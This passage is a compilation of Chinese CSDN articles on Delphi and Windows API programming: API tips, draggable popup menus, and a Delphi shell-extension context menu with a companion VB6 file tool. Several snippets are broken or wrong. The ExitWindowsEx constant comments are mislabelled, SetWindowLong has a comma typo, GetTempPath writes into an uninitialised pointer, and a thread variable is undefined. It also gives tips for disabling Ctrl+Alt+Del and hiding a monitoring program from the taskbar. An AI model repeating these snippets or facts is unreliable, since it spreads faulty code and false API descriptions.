请注意WaitForInputIdle的调用，因为线程对象必须先于MessageBox调用，所以我们必须等待操作系统将对话框的初始化工作完成后，再执行下面的动作，否则查找MessageBox窗口的任务很可能会失败。另外，信息框的窗口类是#32770，够特别的吧！

测试代码就更简单了：

procedure TForm1.Button1Click(Sender: TObject);

var

MsgThread : TMsgThread;

begin

MsgThread := TMsgThread.Create(False);

try

MessageBox(Handle, 'Test Msg', 'TestDlg', MB_OK);

finally

MsgThread.Free;

end;

end;

我们的工作到此告一段落。当然，你还可以将上述所有的代码封装成一个构件，像OpenDialog或者FontDialog那样，添加一个Execute方法即可。这项工作就留给有兴趣的读者自己完成了。


CSDN_文档中心_Windows API函数使用技巧

Windows API函数使用技巧
得到WINDOWS的SYSTEM路径:
方法:
var
MySysPath : PCHAR ;
begin
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
end;
注:MySysPath为SYSTEM路径

得到程序的路径
ExtractFileDir(Application.Exename);

察看文件是否存在
FileExists(FileName:String):Boolean;

改变文件扩展名
ChangeFileExt(FileName:String)

得到文件的扩展名
ExtractFileExt(FileName:String):String;

如何取得Windows的临时文件目录?
适合版本:Delphi 3,2.0,1.0

Windows 95 & NT都指定了放置临时文件的目录，然而，用户能改变临时目录的位置而不使用缺省的目录。这篇文章的目的是告诉你如何得到Windows 95 & NT当前的临时目录位置。这个Windows API函数 GetTempPath就是解决这个问题的。其函数原形为:

DWORD GetTempPath(DWORD nBufferLength, LPTSTR lpBuffer);

下面的例子示范如何使用：

function GetTempDirectory: String;

var

TempDir: array[0..255] of Char;

begin

GetTempPath(255, @TempDir);

Result := StrPas(TempDir);

end;

备注：临时目录的确定原则：

1,如果有TMP环境变量则临时目录为TMP指定的目录

2,如果没有TMP环境变量而有TEMP环境变量，则为TEMP变量指定的目录

3,如果TMP和TEMP都没有定义，则取当前目录为临时目录

程序不出现在任务栏

    一般Windows 95运行程序时都会在任务栏上出现按钮，如果你的程序是一个监视程序，那么出现按钮就不是明智之举了。要实现该功能就要在OnCreate事件里利用到API函数SetWindowLong
procedure TForm1.FormCreate(sender:TObject);
begin
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

改计算机名

改变计算机在网络中的名字，重新启动后才生效
SetComputerName('Hello World');

控制热启动

要使系统的热启动键（Ctrl+Alt+Del）失效，使用以下语句
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
要恢复系统的热启动键（Ctrl+Alt+Del），使用以下语句
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);

临时路径

有时需要Windows的临时路径来做备份等工作，那么就要知道路径在哪，下面的程序帮你忙：
var aa:pchar;
begin
GetTempPath(20,aa); file://返回路径名
edit1.text:=aa;
end;

返回程序执行参数

    有关 Delphi 传入应用程式的命令列参数, 请参考以下的说明：
用ParamCount函数取得命令参数的个数:
呼叫 ParamStr(0), 传回执行档的档名(含路径)
呼叫 ParamStr(n), 传回第ｎ个参数的内容
procedure TForm1.FormCreate(Sender: TObject);
var
sFileName: string;
begin
if ParamCount > 0 then begin (* 有执行参数传入 *)
sFileName := ParamStr(1); (* 取得参数内容 *)
if FileExists(sFileName) then
Memo1.Lines.LoadFromFile(sFileName)
else
Application.MessageBox('找不到指定的档案', '讯息', 48);
end;
end;

关闭Windows

控制WINDOWS的开关：如关闭WINDOWS，重新启动WINDOWS等, ExitWindowsEx(UINT uFlags,DWORD dwReserved);是实现这一功能的API函数
首先定义常数
const
EWX_FORCE=4; file://关闭所有程序并以其他用户身份登录
EWX_LOGOFF=0; file://重新启动计算机并切换到MS-DOS方式
EWX_REBOOT=2; file://重新启动计算机
EWX_SHUTDOWN=1;//关闭计算机
运行时给How赋值，让他等于EWX_SHUTDOWN或其他，调用以下语句
ExitWindowsEx(How,0);

关闭外部应用程序

如何在 Delphi 应用程序中, 去关闭外部已开启的应用程序？
下面给出一段在 Delphi 中关闭“计算器”程序为例：
var
HWndCalculator : HWnd;
begin
// find the exist calculator window
HWndCalculator := Winprocs.FindWindow(nil, '计算器'); // close the exist Calculator
if HWndCalculator <> 0 then
SendMessage(HWndCalculator, WM_CLOSE, 0, 0);
end;

得到执行程序的目录

    SysUtils 单元中有 ExtractFileDir 与 ExtractFilePath两个类似的函数, 用哪一个?没有太大的关系。
    不过有以下的差别: ExtractFilePath 传回值的最後一个字元是反斜杠“／”。
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(ExtractFileDir(Application.Exename));
// ie: c:\temp
ShowMessage(ExtractFilePath(Application.Exename));
// ie: c:\temp\
end;
相同点： 如果执行文件在根目录下(如：C:\SAMPLE.EXE)的话, 两者的传回值相同， 且最后一个字符都是“／”。

使用GetFileVersionInfo 得到版本信息的例子
Samples Using GetFileVersionInfo?

回答1:
procedure GetBuildInfo(var V1, V2, V3, V4: Word);
var
VerInfoSize: DWORD;
VerInfo: Pointer;
VerValueSize: DWORD;
VerValue: PVSFixedFileInfo;
Dummy: DWORD;
begin
VerInfoSize := GetFileVersionInfoSize(PChar(ParamStr(0)), Dummy);
GetMem(VerInfo, VerInfoSize);
GetFileVersionInfo(PChar(ParamStr(0)), 0, VerInfoSize, VerInfo);
VerQueryValue(VerInfo, '\', Pointer(VerValue), VerValueSize);
with VerValue^ do
begin
V1 := dwFileVersionMS shr 16;
V2 := dwFileVersionMS and $FFFF;
V3 := dwFileVersionLS shr 16;
V4 := dwFileVersionLS and $FFFF;
end;
FreeMem(VerInfo, VerInfoSize);
end;
------------------------------------------
回答2
If you want a component, check out TVersionInfoResource at
http://www.pobox.com/~bstowers/delphi/ in the My Stuff section. D1/D2/D3/C++B
compatible, freeware with full source code and a small demo.
And you can see the http://www.aye.net/~bstowers/delphi/
另一个component VersionInfo.zip

防止程序运行多个例程?
More than one instance of program?

回答
This is copied direct from my *.dpr file. You can work it for your own
use.

var
hMutex : Thandle;
WaitResult : word;
BroadcastList : DWORD;
begin
MessageID := RegisterWindowMessage('Check For Choice Previous Inst');
// register a message to use later on
hMutex := createMutex(nil,false,pchar('App_Choice')); // grab a mutex
handle
WaitResult := WaitForSingleObject(hMutex,10); // wait to see
if we can have exclusive use of the mutex
if ( waitResult = WAIT_TIMEOUT ) then // if we can't then broadcast
the message to make the owner of the mutex respond
{ request that the running application takes focus }
begin
BroadcastList := BSM_APPLICATIONS;
BroadcastSystemMessage(
BSF_POSTMESSAGE,@BroadcastList,MessageID,0,0); file://32 bit - broadcast the
message to all apps - only a prev inst will hear it.
end
else
begin
{ do the normal stuff}
Application.Title := 'Choice Organics Purchase & Sales System';
Application.CreateForm(TMainForm, MainForm);
Application.Run;
ReleaseMutex(hMutex); // release the mutex as a politeness
end;
CloseHandle(hMutex); // close the mutex handle
end.

This goes in the MainForm

procedure Tmainform.OnAppMessage(var Msg : TMsg ; Var Handled : Boolean);
begin
{ If it's the special message then focus on this window}
if Msg.Message = MessageID then // if we get the broadcast message from an
another instance of this app that is trying to start up
begin
show;
WindowState := wsMaximized;
BringToFront;
SetFocus;
Handled := true;
end;
end;

file://And this goes in the TMainForm.FormCreate ;-

Application.OnMessage:= OnAppMessage;

4.得到Win 95 的计算机名字?

问 How can I learn Windows'95 Machine Name?

答function ComputerName : String;

var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;

begin

GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;

fl_loaded := GetComputerName(CNameBuffer,CLen^);

if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := 'Unkown';

FreeMem(CNameBuffer,255);
Dispose(CLen);

end;

7. 停止一个线程？
问 Stop A Thread?
回答
You can Terminate your thread in two ways:
1) Assign ThreadDone to OnTerminate when you create it.
In the Execute method, exit when the terminated property is True.
At the point where you want to stop, issue the Terminate method.
2) Just call the Suspend method.
After one of these steps you may free the thread.
I hope the following snippets will help.

// -------------------------------------------------------------- //
interface

type
Txyz = class(TThread)
published
procedure Execute; override;
end;

var
XYZThread: Txyz;

implementation

procedure Txyz.Execute;
begin
while True do Application.ProcessMessages;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
XYZThread := Txyz.Create(False);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
XYZThread2.Suspend;
XYZThread2.Free;
end;

end.

如何在WINDOWS中象在UCDOS下控制打印字体的长宽，而不受限于SIZE 的限制。

首先为了达到这个功能，可以采用Windows的逻辑字体(LogFont)
可以使用 CreateFont 或 CreateFontIndirect 这两个Windows API
函数来定义任何想要的字体，由于 CreateFont 所需的参数甚多通常
我们使用 CreateFontIndirect 来建立所需的逻辑字体，这个API函数
在Delphi中的声明为
function CreateFontIndirect(const p1: TLogFont): HFONT; stdcall;
其中只有一个参数 p1: TLogfont, 所有有关字体的参数完全通过这个
TLogfont结构来传送，Windows将根据结构中的内容创建出相应的逻辑
字体，在Delphi的Windows.pas中TLogFont是这样定义的

TLogFontA = packed record
lfHeight: Longint;
lfWidth: Longint;
lfEscapement: Longint;
lfOrientation: Longint;
lfWeight: Longint;
lfItalic: Byte;
lfUnderline: Byte;
lfStrikeOut: Byte;
lfCharSet: Byte;
lfOutPrecision: Byte;
lfClipPrecision: Byte;
lfQuality: Byte;
lfPitchAndFamily: Byte;
lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;
end;
TLogFontW = packed record
lfHeight: Longint;
lfWidth: Longint;
lfEscapement: Longint;
lfOrientation: Longint;
lfWeight: Longint;
lfItalic: Byte;
lfUnderline: Byte;
lfStrikeOut: Byte;
lfCharSet: Byte;
lfOutPrecision: Byte;
lfClipPrecision: Byte;
lfQuality: Byte;
lfPitchAndFamily: Byte;
lfFaceName: array[0..LF_FACESIZE - 1] of WideChar;
end;
TLogFont = TLogFontA;

其中涉及到很多参数，其中

lfHeight: Longint;
指定以逻辑单位标定的字体高度，取值可为正负或零，对于需要随意
定义字体高度的情况下通常取负值，以保证获得实际尺寸的字体。

lfWidth: Longint;
用于指定字体的平均宽度，由于Windows系统下的大多数字体都是比例
字体因而采用平均宽度这个表示方法。若指定为0，则系统会自动根据
适当的比例自动处理宽度。

lfEscapement: Longint;
指定输出方向与当前坐标系X轴之间的以十分之一度为单位的角度。

lfOrientation: Longint;
指定每个字符与当前坐标系X轴之间的以十分之一度为单位的角度。在
Windows95中这个值等同于lfEscpement。

lfWeight: Longint;
指定范围为从0至1000的字体加重程度，400是标准字体700为加重字体，
0表示采用默认值。

lfItalic: Byte;
不为0表示采用斜体字。

lfUnderline: Byte;
不为0表示带下划线。

lfStrikeOut: Byte;
不为0表示带穿透线。

lfCharSet: Byte;
指定字体集。

lfOutPrecision: Byte;
指定输出精度。用于确定对前面一些设定值的精确程度。

lfClipPrecision: Byte;
指定裁剪精度。裁剪是Windows图形环境下的一种特殊处理，简单说就是
去掉图形中落在视图以外的部分，有助于提高图形的处理速度。

lfQuality: Byte;
指定输出质量。

lfPitchAndFamily: Byte;
指定字体的Pitch和Family。

lfFaceName: array[0..LF_FACESIZE - 1] of AnsiChar;
指定采用的字体名称。

在建立逻辑字体时，我们通常使用

lfHeight和lfWidth来确定字体的尺寸，使用lfEscapement和lfOrientation
来确定字体的输出方向，使用lfWeight, lfItalic, lfUnderline,
lfStrikeOut, 来确定字体的加重，斜体，下划线和穿透线，使用lfCharSet
来确定字体的字符集，通常采用系统默认的字符集。
对于lfOutPrecision, lfClipPrecision, lfQuality一般应用于对屏幕之外
的输出设备，通常采用默认值。采用lfPitchAndFamily来确定采用定宽或可
变字体和字体的家族。以lfFaceName来通过名称选择采用的字体。
另外应当注意在Windows环境下，每种字体具体输出为何种形式取决于很多
因素，需要对以上这些参数进行有效的组合才能达到所要的效果。


CSDN_文档中心_Windows拖动菜单揭密

Windows拖动菜单揭密

本文简述编程制作Windows拖动菜单的基本方法，并用Delphi 5.0给出示例代码。

其实在Windows编程中制作拖动菜单的基本方法比许多人想象的要简单的多（这是本人在Microsort网站上查阅了大量资料编程测试后得出的结论），前段时间本人在网上看到一些另类实现方法，甚觉不妥。

拖动菜单制作主要使用的消息和函数是一个在Win98以后版本才有的Windows消息WM_MENUDRAG和一个菜单类型常量MIM_ MNS_DRAGDROP；一个数据类型TMenuInfo和一个API函数SetMenuInfo()。其它则是一些大家都熟悉的Windows消息和API菜单函数。

以下按Delphi编程方式给出具体的步骤和代码。

第一步，创建一个项目，不用多说。

第二步，定义如下二个Windows消息响应过程：
procedure WMContextMenu(var Msg: TMessage); message WM_CONTEXTMENU;

procedure WMMenuDrag(var Msg: TMessage); message WM_MENUDRAG;

第三步，编写上面二个Windows消息响应过程的实现部份，作为一个示例如下：

procedure TForm1.WMContextMenu(var Msg: TMessage);

var

MenuInfo:TMenuInfo;

Menu:HMenu;

pt:TPoint;

cmd:Cardinal;

begin

pt:=Point(LOWORD(Msg.lParam),HIWORD(Msg.lParam));

Menu:=CreatePopupMenu;

try

InsertMenu(Menu,0,MF_BYPOSITION,MF_STRING,'AAAAA');//示例添加几个任意的菜单项

InsertMenu(Menu,1,MF_BYPOSITION,MF_STRING,'BBBBB');

InsertMenu(Menu,2,MF_BYPOSITION,MF_STRING,'CCCCC');

InsertMenu(Menu,3,MF_BYPOSITION,MF_STRING,'DDDDD');

MenuInfo.cbSize:=sizeof(TMenuInfo);

MenuInfo.fMask:=MIM_STYLE;

MenuInfo.dwStyle:=MNS_DRAGDROP; //关键，指定Menu是拖动菜单，否则将不响应WM_MENUDRAG消息

SetMenuInfo(Menu,MenuInfo);

cmd:=Cardinal(TrackPopupMenuEx(Menu,

TPM_RETURNCMD or TPM_LEFTBUTTON or TPM_LEFTALIGN ,

pt.X,pt.Y,Handle,nil));

//com=0 时，出错

if cmd>0 then

begin

//运行你指定的命令

end;

finally

DestroyMenu(Menu);

end;//try

end;

procedure TForm1.WMMenuDrag(var Msg: TMessage);

var

buffer:array [0..255] of Char;

begin

//响应用户动，制作拖动菜单并不难，难的是这一部份，当拖动发生时，程序员要在此如何完成拖动

GetMenuString(Msg.LParam,Msg.wParam, @buffer, sizeof(buffer),MF_BYPOSITION );

Caption:=Format('你拖动的菜单项: ID=%d ; 标题是： %s',[Msg.wParam,buffer]);

//必须返加回 MND_ENDMENU或MND_CONTINUE

//当用MND_ENDMENU时每拖动一下，菜单都将消失，如果你不想它消失，可使用MND_CONTINUE

Msg.Result:=MND_ENDMENU;

end;

第四步，运行程序，单击鼠标右键，拖动其弹出菜单，主窗口的标题栏将指示出你所进行的拖动。

到此为此一个基本的拖动菜单已经完成，虽然在拖动时你看不到如同Windows开始菜单一样的拖动效果，但它的的确确是一个非常正宗的拖动菜单，只要编程者在WMMenuDrag(var Msg: TMessage)过程中充分发挥其想象，任何拖动样式都可能被制作出来。不过本人用Delphi的TMainMenu或TPopupMenu类虽经不懈努力均未能实现其菜单项的拖动。

如果你有什么疑问，可到www.netgocn.com去和我交流。

成都 李晓方


CSDN_文档中心_Windows外壳扩展编程之添加右键菜单

Windows外壳扩展编程 www.applevb.com
在Windows下的一些软件提供了这样的功能：当安装了这些软件之后，当在Windows的Explore中鼠标右键单击文件或者文件夹后，在弹出菜单中就会多出与该软件操作相关的菜单项，点击该项就会激活相应的程序对用户选中的文件进行相应的操作。例如安装了Winzip之后，当用户选中一个文件夹后单击右键，在弹出菜单中就会多出一个Add To Zip和一个 Add To xxx.zip的选项，其中xxx为选中的文件夹的名称。只要单击上面的两个菜单项中的一个，就可以方便的压缩目录了。这样的功能称为Windows外壳扩展(Shell Extensions)
    外壳扩展概述

    下面是与外壳扩展相关的三个重要术语：
    (1)文件对象(File Object)
     文件对象是外壳中的一项，大家最熟识的文件对象是文件和目录，此外，打印机、控制面板程序、共享网
络等也都是文件对象。
    (2)文件类(File Class)
文件类是具有某种共同特性的文件对象的集合，比如，扩展名相同的文件属于同一文件类。
    (3)处理程序(Handler)
     处理程序是具体实现某个外壳扩展的代码。

    Windows支持七种类型的外壳扩展（称为Handler），它们相应的作用简述如下：
    (1)Context menu handlers向特定类型的文件对象增添上下文相关菜单；
    (2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；
    (3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；
    (4)Property sheet handlers给文件对象增添属性页，属性页可以为同一类文件对象所共有，也可以给一个
文件对象指定特有的属性页；
    (5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，
通过为Windows增加Copy-hook handlers，可以允许或者禁止其中的某些操作；
    (6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；
    (7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。

    Windows的所有外壳扩展都是基于COM(Component Object Model) 组件模型的，外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。因此，如果要对Windows的用户界面进行扩充的话，则具备写COM对象的一些知识是十分必要的。

    写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键之下进行注册。在该键下面可以找到许多名字像{0000002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识符。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。与某种文件类型关联的外壳扩展注册在相应类型的shellex主键下。如果所处的Windows操作系统为Windows NT，则外壳扩展还必须在注册表中的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved主键下登记。

    注册表HKEY_CLASSES_ROOT主键下有几个特殊的子键，如*、Folder、Drive以及Printer。如果把外壳扩展注册在*子键下，那么这个外壳扩展将对Windows中所有类型的文件有效；如果把外壳扩展注册在Folder子键下，则对所有目录有效。

上面提到的在Windows Explore中在鼠标右键菜单中添加菜单项（我们成为上下文相关菜单）的操作属于外壳扩展的第一类，即Context menu handlers向特定类型的文件对象增添上下文相关菜单。要动态地在上下文相关菜单中增添菜单项，可以通过写Context Menu Handler来实现。
    编写Context Menu Handler必须实现IShellExtInit和IContextMenu两个接口。除了IUnknown接口所定义的函数之外，Context Menu Handler还需要用到QueryContextMenu、InvokeCommand和GetCommandString这三个非常重要的成员函数。

    (1)QueryContextMenu函数：每当系统要显示一个文件对象的上下文相关菜单时，它首先要调用该函数。为了在上下文相关菜单中添加菜单
项，我们在该函数中调用InsertMenu函数。

    (2)InvokeCommand函数：当用户选定了某个Context Menu Handler登记过的菜单项后，该函数将会被调用，系统将会传给该函数一个指向
LPCMINVOKECOMMANDINFO结构的指针。在该函数中要执行与所选菜单项相对应的操作。

    (3)GetCommandString函数：当鼠标指针移到一个上下文相关菜单项上时，在当前窗口的状态条上将会出现与该菜单项相关的帮助信息，此
信息就是系统通过调用该函数获取的。

下面我通过具体的例程来说明编写一个比较完整的上下文菜单程序，这个程序是一个文件操作程序，当安装并注册了外壳扩展的服务器动态连接库之后，当选择一个或者多个文件并单击鼠标右键后，在右键菜单中就会多出一个“执行文件操作”的上下文菜单，点击菜单就会弹出相应的程序执行文件操作。
在整个程序的编写中，外壳扩展的服务器动态连接库是有Delphi4.0编写的，而动态连接库调用的文件操作程序是由VB6编写的。下面首先介绍服务器动态连接库的编写：
服务器动态连接库的工程文件内容如下：

library contextmenu;
uses
ComServ,
ContextMenuHandler in 'Unit2.pas';
// contmenu_TLB in 'contmenu_TLB.pas';

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin

end.

将工程文件保存为contextmenu.dpr。
服务器动态连接库的单位文件内容如下：

unit ContextMenuHandler;

interface
uses Windows,ActiveX,ComObj,ShlObj,Classes;

type
TContextMenu = class(TComObject,IShellExtInit,IContextMenu)
private
FFileName: array[0..MAX_PATH] of Char;
protected
function IShellExtInit.Initialize = SEIInitialize; // Avoid compiler warning
function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult; stdcall;
function QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst, idCmdLast,
uFlags: UINT): HResult; stdcall;
function InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult; stdcall;
function GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HResult; stdcall;
end;

const

Class_ContextMenu: TGUID = '{19741013-C829-11D1-8233-0020AF3E97A9}';

{全局唯一标识符(GUID)是一个16字节（128为）的值，它唯一地标识一个接口(interface)}
var
FileList:TStringList;
Buffer:array[1..1024]of char;

implementation

uses ComServ, SysUtils, ShellApi, Registry,UnitForm;

function TContextMenu.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject;
hKeyProgID: HKEY): HResult;
var
StgMedium: TStgMedium;
FormatEtc: TFormatEtc;
FileNumber,i:Integer;
begin
file://如果lpdobj等于Nil，则本调用失败
if (lpdobj = nil) then begin
Result := E_INVALIDARG;
Exit;
end;

file://首先初始化并清空FileList以添加文件
FileList:=TStringList.Create;
FileList.Clear;
file://初始化剪贴版格式文件
with FormatEtc do begin
cfFormat := CF_HDROP;
ptd := nil;
dwAspect := DVASPECT_CONTENT;
lindex := -1;
tymed := TYMED_HGLOBAL;
end;
Result := lpdobj.GetData(FormatEtc, StgMedium);
if Failed(Result) then Exit;

file://首先查询用户选中的文件的个数
FileNumber := DragQueryFile(StgMedium.hGlobal,$FFFFFFFF,nil,0);
file://循环读取，将所有用户选中的文件保存到FileList中
for i:=0 to FileNumber-1 do begin
DragQueryFile(StgMedium.hGlobal, i, FFileName, SizeOf(FFileName));
FileList.Add(FFileName);
Result := NOERROR;
end;

ReleaseStgMedium(StgMedium);
end;

function TContextMenu.QueryContextMenu(Menu: HMENU; indexMenu, idCmdFirst,
idCmdLast, uFlags: UINT): HResult;
begin
Result := 0;
if ((uFlags and $0000000F) = CMF_NORMAL) or
((uFlags and CMF_EXPLORE) <> 0) then begin
// 往Context Menu中加入一个菜单项
InsertMenu(Menu, indexMenu, MF_STRING or MF_BYPOSITION, idCmdFirst,
PChar('执行文件操作'));
// 返回增加菜单项的个数
Result := 1;
end;
end;

function TContextMenu.InvokeCommand(var lpici: TCMInvokeCommandInfo): HResult;
var
// sFile:TFileStream;
charSavePath:array[0..1023]of char;
sSaveFile:String;
i:Integer;
F: TextFile;
FirstLine: string;
begin
// 首先确定该过程是被系统而不是被一个程序所调用
if (HiWord(Integer(lpici.lpVerb)) <> 0) then
begin
Result := E_FAIL;
Exit;
end;
// 确定传递的参数的有效性
if (LoWord(lpici.lpVerb) <> 0) then begin
Result := E_INVALIDARG;
Exit;
end;

file://建立一个临时文件保存用户选中的文件名
GetTempPath(1024,charSavePath);
sSaveFile:=charSavePath+'chen0001.tmp';

AssignFile(F,sSaveFile); { next file in Files property }
ReWrite(F);
file://将文件名保存到临时文件中
for i:= 0 to FileList.Count -1 do begin
FirstLine:=FileList.Strings[i];
Writeln(F,FirstLine); { Read the first line out of the file }
end;
CloseFile(F);
file://调用文件操作程序对用户选中的文件进行操作
ShellExecute(0,nil,'c:\FileOP.exe',PChar(sSaveFile),charSavePath,SW_NORMAL);

Result := NOERROR;
end;

function TContextMenu.GetCommandString(idCmd, uType: UINT; pwReserved: PUINT;
pszName: LPSTR; cchMax: UINT): HRESULT;
begin
if (idCmd = 0) then begin
if (uType = GCS_HELPTEXT) then
{返回该菜单项的帮助信息，此帮助信息将在用户把鼠标移动到该菜单项时出现在状态条上。}
StrCopy(pszName, PChar('点击该菜单项将执行文件操作'));
Result := NOERROR;
end
else
Result := E_INVALIDARG;
end;

type
TContextMenuFactory = class(TComObjectFactory)
public
procedure UpdateRegistry(Register: Boolean); override;
end;

procedure TContextMenuFactory.UpdateRegistry(Register: Boolean);
var
ClassID: string;
begin
if Register then begin
inherited UpdateRegistry(Register);
ClassID := GUIDToString(Class_ContextMenu);
CreateRegKey('*\shellex', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers', '', '');
CreateRegKey('*\shellex\ContextMenuHandlers\OpenWithWordPad', '', ClassID);

file://如果操作系统为Windows NT的话
if (Win32Platform = VER_PLATFORM_WIN32_NT) then
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions', True);
OpenKey('Approved', True);
WriteString(ClassID, 'Context Menu Shell Extension');
finally
Free;
end;
end
else begin
DeleteRegKey('*\shellex\ContextMenuHandlers\FileOpreation');
DeleteRegKey('*\shellex\ContextMenuHandlers');
// DeleteRegKey('*\shellex');
inherited UpdateRegistry(Register);
end;
end;

initialization
TContextMenuFactory.Create(ComServer, TContextMenu, Class_ContextMenu,
'', 'Context Menu Shell Extension', ciMultiInstance,tmApartment);

end.

将该单位文件保存为unit2.pas，文件同contextmenu.dpr位于同一个目录下。
打开Delphi，选菜单中的 file | open project 打开contextmenu.dpr文件，然后选 Project | build contextmenu菜单项编译连接程序，如果编译成功的话，会建立一个contextmenu.dll的动态连接库文件，这个文件就是服务器动态连接库。

下面来建立文件操作程序。打开VB，建立一个新的工程文件，在Form1中加入一个ListBox控件和三个CommandButton控件，将ListBox的MultiSelect属性设置为2。然后在Form1的代码窗口中加入以下代码：
Option Explicit

Private Type BrowseInfo
hwndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
Private Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long '对文件的操作指令
pFrom As String '源文件或路径
pTo As String '目的文件或路径
fFlags As Integer '操作标志
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type

Const FO_COPY = &H2
Const FO_DELETE = &H3
Const FO_MOVE = &H1
Const FO_RENAME = &H4
Const FOF_ALLOWUNDO = &H40
Const BIF_RETURNONLYFSDIRS = 1
Const MAX_PATH = 260

Private Declare Function ShellAbout Lib "shell32.dll" Alias _
"ShellAboutA" (ByVal hwnd As Long, ByVal szApp As _
String, ByVal szOtherStuff As String, ByVal hIcon As Long) _
As Long
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias _
"lstrcatA" (ByVal lpString1 As String, ByVal lpString2 _
As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi _
As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As Long, ByVal lpBuffer As String) As Long
Private Declare Function SHFileOperation Lib "shell32" _
(lpFileOp As SHFILEOPSTRUCT) As Long
Private Declare Function GetWindowsDirectory _
Lib "kernel32" Alias "GetWindowsDirectoryA" _
(ByVal lpBuffer As String, ByVal nSize As _
Long) As Long

Dim DirString As String
Dim sFile As String

Sub UpdateList()
'UpdateList函数检查列表框中的文件是否存在，如果不存在，就将其
'从文件列表中删除
Dim bEndList As Boolean
Dim i As Integer

bEndList = True
i = 0
While bEndList
'检查文件是否存在，如果不存在就删除
If Dir$(List1.List(i)) = "" Then
List1.RemoveItem (i)
Else '如果文件存在就转移到下一个列表项
i = i + 1
If i > List1.ListCount - 1 Then
bEndList = False
End If
End If
Wend
Command1.Enabled = False
Command2.Enabled = False
Command3.Enabled = False
End Sub

Function BrowseForFolder(hwndOwner As Long, sPrompt As String) As String
Dim iNull As Integer
Dim lpIDList As Long
Dim lResult As Long
Dim sPath As String
Dim udtBI As BrowseInfo

'初试化udtBI结构
With udtBI
.hwndOwner = hwndOwner
.lpszTitle = lstrcat(sPrompt, "")
.ulFlags = BIF_RETURNONLYFSDIRS
End With

'弹出文件夹查看窗口
lpIDList = SHBrowseForFolder(udtBI)

If lpIDList Then
sPath = String$(MAX_PATH, 0)
lResult = SHGetPathFromIDList(lpIDList, sPath)
Call CoTaskMemFree(lpIDList)
iNull = InStr(sPath, vbNullChar)
If iNull Then sPath = Left$(sPath, iNull - 1)
End If

BrowseForFolder = sPath
End Function

Private Sub Command1_Click() '执行文件拷贝操作
Dim sPath As String
Dim tCopy As SHFILEOPSTRUCT
Dim i As Integer

'选择拷贝到的文件夹
sPath = BrowseForFolder(Form1.hwnd, "选择拷贝到的文件夹")
If sPath <> "" Then
With tCopy
.hwnd = Form1.hwnd
.lpszProgressTitle = "正在拷贝"
.pTo = sPath
.fFlags = FOF_ALLOWUNDO
.wFunc = FO_COPY
End With
For i = 0 To List1.ListCount - 1
If List1.Selected(i) Then '如果文件被选中则拷贝文件
tCopy.pFrom = List1.List(i)
SHFileOperation tCopy
End If
Next i
UpdateList
End If
Kill sFile
End Sub

Private Sub Command2_Click() '执行文件移动操作
Dim sPath As String
Dim tCopy As SHFILEOPSTRUCT
Dim i As Integer

'选择移动到的文件夹
sPath = BrowseForFolder(Form1.hwnd, "选择转移到的文件夹")
If sPath <> "" Then
With tCopy
.hwnd = Form1.hwnd
.lpszProgressTitle = "正在移动"
.pTo = sPath
.fFlags = FOF_ALLOWUNDO
.wFunc = FO_MOVE
End With
For i = 0 To List1.ListCount - 1
If List1.Selected(i) Then '如果文件被选中则拷贝文件
tCopy.pFrom = List1.List(i)
SHFileOperation tCopy
End If
Next i
UpdateList
End If
Kill sFile
End Sub

Private Sub Command3_Click() '执行文件删除操作
Dim sPath As String
Dim tCopy As SHFILEOPSTRUCT
Dim i As Integer

With tCopy
.hwnd = Form1.hwnd
.lpszProgressTitle = "正在删除"
.pTo = sPath
.fFlags = FOF_ALLOWUNDO
.wFunc = FO_DELETE
End With
For i = 0 To List1.ListCount - 1
If List1.Selected(i) Then
tCopy.pFrom = List1.List(i)
SHFileOperation tCopy
End If
Next i
UpdateList
Kill sFile
End Sub

Private Sub Form_Load()
